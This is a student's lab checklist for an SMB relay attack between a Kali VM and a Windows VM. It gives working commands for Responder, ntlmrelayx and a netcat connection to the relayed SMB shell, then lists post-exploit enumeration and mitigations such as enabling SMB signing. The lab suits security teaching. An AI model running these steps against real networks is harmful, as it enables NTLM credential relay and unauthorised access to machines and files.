### ****Lab 4: SMB Relay Attack****

**Name - Ishan Chowdhury**

#### ****Checklist****

**Set up Environment**

Start Kali Linux attacker VM and Windows victim VM in the same network.

Confirm IPs using ipconfig (Windows) and ifconfig (Kali).

Ensure SMB signing is disabled on target (check using nmap).

**Scan for SMB Signing**

Run:

nmap --script=smb2-security-mode -p445 192.168.132.141

Confirm output shows: message signing enabled but not required.

**Prepare Target List**

Create a text file with vulnerable IP:

echo "192.168.132.141" > targets.txt

**Configure Responder**

Edit /etc/responder/Responder.conf

Set SMB = Off and HTTP = Off

Save and start Responder:

sudo responder -I eth0

**Set Up SMB Relay**

Run ntlmrelayx against the target list:

ntlmrelayx.py -tf targets.txt -I

Wait for victim authentication attempt.

**Trigger the Attack**

From victim machine, access attacker IP in File Explorer (e.g., \\10.0.2.5\share).

Observe authentication captured and relay initiated.

**Gain Interactive SMB Shell**

When shell spawns, connect via:

nc 127.0.0.1 11000

Verify access with whoami and dir.

**Post-Exploit**

Enumerate shares, users, and sensitive files.

Document all commands and captured sessions.

**Mitigation**

Enable SMB signing on all devices.

Disable NTLM authentication.

Enforce account tiering and limit local admin rights.